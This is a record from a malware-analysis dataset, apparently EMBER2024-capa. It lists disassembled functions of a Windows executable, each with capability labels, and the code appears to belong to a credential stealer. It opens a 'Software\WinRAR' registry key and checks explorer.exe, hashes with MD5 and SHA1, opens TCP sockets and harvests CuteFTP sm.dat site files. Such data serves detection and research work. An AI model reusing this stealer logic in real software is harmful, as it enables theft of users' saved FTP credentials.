joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025e2
Capabilities:
Create directory
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
sub ebx, ebx
lea eax, [ebp - 4]
push eax
push str.SoftwareWinRAR
push dword [0x4150da]
call sub.advapi32.dll_RegCreateKeyA
or eax, eax
jne 0x402628
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 3
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
or eax, eax
jne 0x402620
inc ebx
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
and ebx, ebx
jne 0x4026f5
lea eax, [ebp - 0x10d]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
and eax, eax
je 0x4026f5
cmp eax, 0x104
ja 0x4026f5
push 0
lea eax, [ebp - 0x10d]
push eax
call sub.kernel32.dll_CreateDirectoryA
lea eax, [ebp - 0x10d]
push eax
call fcn.004024ae
and eax, eax
jne 0x40268e
push 0x4150b6
lea eax, [ebp - 0x10d]
push eax
call fcn.00401cec
push dword [ebp + 8]
push eax
call fcn.00401d40
jmp 0x40269d
push dword [ebp + 8]
lea eax, [ebp - 0x10d]
push eax
call fcn.00401cec
mov dword [ebp - 0x114], eax
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x114]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 8], eax
inc eax
je 0x4026db
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.0040145e
mov ebx, eax
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
and ebx, ebx
jne 0x4026ea
push dword [ebp - 0x114]
call sub.kernel32.dll_DeleteFileA
push dword [ebp - 0x114]
call fcn.00401871
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x4026fc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.SoftwareWinRAR
push dword [0x4150da]
call fcn.00401c65
and eax, eax
jne 0x4027fe
sub ebx, ebx
lea eax, [ebp - 0x111]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
and eax, eax
je 0x4027fc
cmp eax, 0x104
ja 0x4027fc
lea eax, [ebp - 4]
push eax
call fcn.00401000
lea eax, [ebp - 0x111]
push eax
call fcn.004024ae
and eax, eax
jne 0x40277f
push 0x4150b6
lea eax, [ebp - 0x111]
push eax
call fcn.00401cec
push dword [ebp + 8]
push eax
call fcn.00401d40
jmp 0x40278e
push dword [ebp + 8]
lea eax, [ebp - 0x111]
push eax
call fcn.00401cec
push eax
push dword [ebp - 4]
push eax
call fcn.00401230
and eax, eax
je 0x4027ef
push dword [ebp - 4]
call fcn.00401091
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4027ef
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.ole32.dll_GetHGlobalFromStream
test eax, eax
js 0x4027ef
push dword [ebp - 0xc]
call sub.kernel32.dll_GlobalLock
and eax, eax
je 0x4027ef
push eax
push dword [ebp - 8]
call fcn.00401888
mov ebx, eax
pop eax
push dword [ebp - 8]
push ebx
push eax
call fcn.004018bf
push dword [ebp - 0xc]
call sub.kernel32.dll_GlobalUnlock
mov eax, dword [ebp + 0xc]
push dword [ebp - 8]
pop dword [eax]
call fcn.00401871
push dword [ebp - 4]
call fcn.00401026
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x402bf6
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
xor edx, eax
xor eax, edx
xor edx, eax
push 0x402c13
nop
clc
nop
jb 0x402c12
nop
ret
inc byte [ebx + 0x4153ad3d]
add byte [eax], al
je 0x402c37
cmp dword [0x4153b1], 0
je 0x402c37
cmp dword [0x4153e9], 0
je 0x402c37
cmp dword [0x4153ed], 0
jne 0x402c3e
sub eax, eax
pop ebx
leave
ret 4
sub ebx, ebx
call dword [0x4153ad]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x134], 0x128
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x402d93
mov dword [ebp - 0x138], eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x138]
call sub.kernel32.dll_Process32First
and eax, eax
je 0x402d88
push str.explorer.exe
lea eax, [ebp - 0x110]
push eax
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x402d71
mov dword [ebp - 0x13c], 0
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x12c]
call dword [0x4153b1]
mov edx, dword [ebp - 0x13c]
and eax, eax
je 0x402d71
cmp edx, dword [ebp - 0xc]
jne 0x402d71
push dword [ebp - 0x12c]
push 0
push 0x2000000
call sub.kernel32.dll_OpenProcess
and eax, eax
je 0x402d71
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x201eb
push dword [ebp - 8]
call dword [0x4153e9]
and eax, eax
je 0x402d69
push dword [ebp - 4]
call dword [0x4153ed]
and eax, eax
je 0x402d57
inc ebx
mov dword [ebp - 0x140], 0
lea eax, [ebp - 0x140]
push eax
push 0xf003f
call sub.advapi32.dll_RegOpenCurrentUser
or eax, eax
jne 0x402d47
cmp dword [ebp - 0x140], 0
je 0x402d47
push dword [ebp - 0x140]
pop dword [0x4150da]
mov eax, dword [ebp + 8]
and eax, eax
je 0x402d53
push dword [ebp - 4]
pop dword [eax]
jmp 0x402d88
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
jmp 0x402d71
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x138]
call sub.kernel32.dll_Process32Next
jmp 0x402c7d
push dword [ebp - 0x138]
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop ebx
leave
ret 4

Function at 0x402db9
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push eax
push ebx
push ecx
push edx
push edi
push esi
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 0x80]
lea edx, [eax*8]
mov ebx, eax
mov ecx, eax
shr eax, 6
mov dword [ebp - 0x14], eax
mov edi, dword [ebp + 8]
add edi, ecx
mov byte [edi], pe_nt_image_headers32
and ebx, 0x3f
sub edi, ebx
cmp ebx, 0x38
jb 0x402dff
add edi, ebx
mov eax, 0x40
sub eax, ebx
add edi, eax
inc dword [ebp - 0x14]
mov dword [edi + 0x38], edx
lea esi, [ebp - 0x10]
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
push dword [ebp - 0x14]
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00402e44
cld
mov ecx, 4
mov edi, dword [ebp + 0x10]
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0xc
Function at 0x403457
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
pop dword [ebp - 8]
mov dword [0x419ff0], 0x67452301
mov dword [0x419ff4], 0xefcdab89
mov dword [0x419ff8], 0x98badcfe
mov dword [0x419ffc], 0x10325476
mov dword [0x41a000], 0xc3d2e1f0
jmp 0x4034bd
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
push 0x40
push 0x41a004
push eax
call fcn.004018bf
add dword [ebp - 4], 0x40
call fcn.00403589
sub dword [ebp - 8], 0x40
jae 0x4034a1
mov ebx, dword [ebp - 8]
add ebx, 0x40
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
push ebx
push 0x41a004
push eax
call fcn.004018bf
add dword [ebp - 4], ebx
mov byte [ebx + 0x41a004], 0x80
sub ebx, 0x37
jbe 0x403505
sub ebx, 8
je 0x4034f9
and byte [ebx + 0x41a044], 0
inc ebx
js 0x4034ef
call fcn.00403589
mov ebx, 0xffffffc8
jmp 0x403507
je 0x403511
and byte [ebx + 0x41a03c], 0
inc ebx
js 0x403507
mov eax, dword [ebp + 0xc]
mov ecx, 8
xor edx, edx
mul ecx
bswap eax
bswap edx
mov dword [0x41a040], eax
mov dword [0x41a03c], edx
call fcn.00403589
mov eax, dword [0x419ff0]
mov edx, dword [0x419ff4]
mov ecx, dword [0x419ff8]
bswap eax
bswap edx
bswap ecx
mov dword [0x419ff0], eax
mov dword [0x419ff4], edx
mov dword [0x419ff8], ecx
mov eax, dword [0x419ffc]
mov edx, dword [0x41a000]
bswap eax
bswap edx
mov dword [0x419ffc], eax
mov dword [0x41a000], edx
push 0x14
push dword [ebp + 0x10]
push 0x419ff0
call fcn.004018bf
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x403589
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ecx, 0xfffffff8
mov eax, dword [ecx*8 + 0x41a044]
mov edx, dword [ecx*8 + 0x41a048]
bswap eax
bswap edx
mov dword [ecx*8 + 0x41a044], eax
mov dword [ecx*8 + 0x41a048], edx
inc ecx
jne 0x403594
mov ecx, 0xffffffc0
mov eax, dword [ecx*4 + 0x41a138]
mov edx, dword [ecx*4 + 0x41a124]
xor eax, dword [ecx*4 + 0x41a10c]
xor edx, dword [ecx*4 + 0x41a104]
xor eax, edx
rol eax, 1
mov dword [ecx*4 + 0x41a144], eax
inc ecx
jne 0x4035bc
mov ebx, dword [0x419ff0]
mov esi, dword [0x419ff4]
mov edi, dword [0x419ff8]
push dword [0x419ffc]
pop dword [ebp - 4]
push dword [0x41a000]
pop dword [ebp - 8]
mov ecx, 0xffffffec
mov edx, esi
mov eax, edi
not edx
and eax, esi
and edx, dword [ebp - 4]
or eax, edx
add eax, dword [ecx*4 + 0x41a054]
add eax, dword [ebp - 8]
add eax, 0x5a827999
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x40360f
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x41a0a4]
add eax, dword [ebp - 8]
add eax, 0x6ed9eba1
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403648
mov ecx, 0xffffffec
mov eax, edi
mov edx, dword [ebp - 4]
or eax, dword [ebp - 4]
and edx, edi
and eax, esi
or eax, edx
add eax, dword [ecx*4 + 0x41a0f4]
add eax, dword [ebp - 8]
add eax, 0x8f1bbcdc
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x40367d
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x41a144]
add eax, dword [ebp - 8]
add eax, 0xca62c1d6
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4036b7
add dword [0x419ff0], ebx
add dword [0x419ff4], esi
add dword [0x419ff8], edi
mov eax, dword [ebp - 4]
add dword [0x419ffc], eax
mov eax, dword [ebp - 8]
add dword [0x41a000], eax
leave
ret

Function at 0x40370d
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x403743
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
or eax, eax
jne 0x403730
mov eax, 0xffffffff
jmp 0x403743
mov eax, dword [eax + 0xc]
nop
and eax, eax
jne 0x40373f
mov eax, 0xffffffff
jmp 0x403743
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret 4
Function at 0x403747
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
push 6
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
jne 0x403762
jmp 0x4037c4
mov ebx, eax
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.0040189f
mov word [ebp - 0x10], 2
mov ecx, dword [ebp + 0x10]
xchg ch, cl
mov word [ebp - 0xe], cx
cmp dword [ebp + 0xc], 0
je 0x403789
mov eax, dword [ebp + 0xc]
jmp 0x4037a8
cmp dword [ebp + 0xc], 0
jne 0x403799
cmp dword [ebp + 8], 0
jne 0x403799
jmp 0x4037bc
push dword [ebp + 8]
call fcn.0040370d
cmp eax, 0xffffffff
jne 0x4037a8
jmp 0x4037bc
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x4037c4
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x4037cb
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
cmp dword [ebp + 0x10], 0
jne 0x4037e1
mov eax, 1
pop edi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 0xc]
mov ebx, 0
push 0
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x40380f
add edi, eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x40380d
mov ebx, 1
jmp 0x40380f
jmp 0x4037e9
mov eax, ebx
pop edi
pop ebx
leave
ret 0xc

Function at 0x403817
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push dword [ebp + 0xc]
pop dword [ebp - 0x10c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 1
lea eax, [ebp - 0x100]
push dword [ebp + 8]
pop dword [eax]
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0xffffffff
je 0x40386a
or eax, eax
jne 0x40386e
xor eax, eax
jmp 0x403873
mov eax, 1
leave
ret 8

Function at 0x403877
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.00403817
and eax, eax
je 0x4038e2
push 0x5a
push dword [ebp + 8]
call fcn.00403817
and eax, eax
jne 0x40389e
jmp 0x4038e2
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jle 0x4038e2
mov eax, dword [ebp + 0x14]
cmp byte [ebp - 1], al
jne 0x4038bc
mov bl, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
push dword [ebp + 0xc]
call fcn.00401091
cmp eax, dword [ebp + 0x10]
jb 0x4038de
jmp 0x4038e2
test ebx, ebx
je 0x40388e
mov eax, ebx
pop ebx
leave
ret 0x10
Function at 0x4038e9
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.00403817
and eax, eax
je 0x40396a
push 0x5a
push dword [ebp + 8]
call fcn.00403817
and eax, eax
jne 0x403913
jmp 0x40396a
cmp dword [ebp + 0x10], 0x800
jbe 0x403923
mov eax, 0x800
jmp 0x403926
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x40393e
jmp 0x40396a
jne 0x403943
inc ebx
jmp 0x40396a
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403966
inc ebx
jmp 0x40396a
test ebx, ebx
je 0x403903
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403b44
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x2d
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x403dd9
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
leave
ret

Function at 0x403f84
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x403fa3
cmp byte [eax], 0
jne 0x403fa8
jmp 0x404120
push dword [ebp + 0xc]
call fcn.004024ae
and eax, eax
jne 0x403fc3
push str..
push dword [ebp + 0xc]
call fcn.00401cec
jmp 0x403fd0
push 0x4157ec
push dword [ebp + 0xc]
call fcn.00401cec
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.0040189f
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404120
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x40409b
lea eax, [edx + 0x2c]
push eax
push 0x4157e2
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40402f
jmp 0x4040fb
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e4
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40404c
jmp 0x4040fb
push dword [ebp + 0xc]
call fcn.004024ae
and eax, eax
jne 0x404067
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
jmp 0x404071
push 0
push dword [ebp + 0xc]
call fcn.00401cec
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d40
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00403f84
call fcn.00401871
jmp 0x4040fb
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x4040ac
jmp 0x4040be
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x4040fb
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push eax
cmp dword [ebp + 0x18], 0
je 0x4040ea
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x4040f6
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.00403e4a
call fcn.00401871
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404006
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401871
leave
ret 0x14
Function at 0x4045eb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x4150da]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x4046f5
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
and eax, eax
je 0x404648
jmp 0x4046ed
cmp dword [ebp - 0x814], 1
je 0x40465f
cmp dword [ebp - 0x814], 7
je 0x40465f
inc dword [ebp - 8]
jmp 0x404615
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x4046e5
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x4150da]
call fcn.00401c65
and eax, eax
je 0x4046e5
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.00401522
cmp dword [ebp - 0x814], 1
jne 0x4046bc
push 0
push dword [ebp + 8]
call fcn.00401522
jmp 0x4046c6
push 1
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401558
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x404615
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x4046f9
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x4150da]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40486f
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x404751
jmp 0x404867
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x810], eax
call fcn.00401871
push 0
push 0x41593f
push dword [ebp - 0x810]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
push 0
push 0x415948
push dword [ebp - 0x810]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push 0
push 0x415951
push dword [ebp - 0x810]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x404825
cmp dword [ebp - 0x814], 0
je 0x404825
cmp dword [ebp - 0x818], 0
je 0x404825
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004046f9
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x404723
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x404c66
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x404c85
cmp byte [eax], 0
jne 0x404c8a
jmp 0x404de3
push dword [ebp + 0xc]
call fcn.004024ae
and eax, eax
jne 0x404ca5
push str..
push dword [ebp + 0xc]
call fcn.00401cec
jmp 0x404cb2
push 0x4157ec
push dword [ebp + 0xc]
call fcn.00401cec
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.0040189f
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404de3
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x404d5b
lea eax, [edx + 0x2c]
push eax
push 0x4157e2
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x404d0d
jmp 0x404dbe
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e4
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x404d2a
jmp 0x404dbe
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d40
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404c66
call fcn.00401871
jmp 0x404dbe
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x4159f5
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x404dbe
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x404da6
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x404dab
mov eax, 1
pop edx
and eax, eax
je 0x404db9
push edx
push dword [ebp + 8]
call fcn.00404c4f
call fcn.00401871
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404ce8
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401871
leave
ret 0xc
Function at 0x404fd6
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x404ff5
cmp byte [eax], 0
jne 0x404ffa
jmp 0x4050fe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401cec
push eax
push eax
push dword [ebp + 8]
call fcn.00404f75
call fcn.00401871
push str..
push dword [ebp + 0xc]
call fcn.00401cec
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.0040189f
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4050fe
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x4050d9
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e2
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40507f
jmp 0x4050d9
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e4
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x405099
jmp 0x4050d9
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push dword [ebp + 0x10]
push eax
call fcn.00401d40
push eax
push eax
push dword [ebp + 8]
call fcn.00404f75
call fcn.00401871
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x405057
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401871
leave
ret 0xc

Function at 0x40510d
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401da5
mov dword [ebp - 4], eax
and eax, eax
je 0x4051b2
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401cec
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fd6
call fcn.00401871
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401cec
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fd6
call fcn.00401871
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401cec
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fd6
call fcn.00401871
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401cec
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fd6
call fcn.00401871
push dword [ebp - 4]
call fcn.00401871
leave
ret 8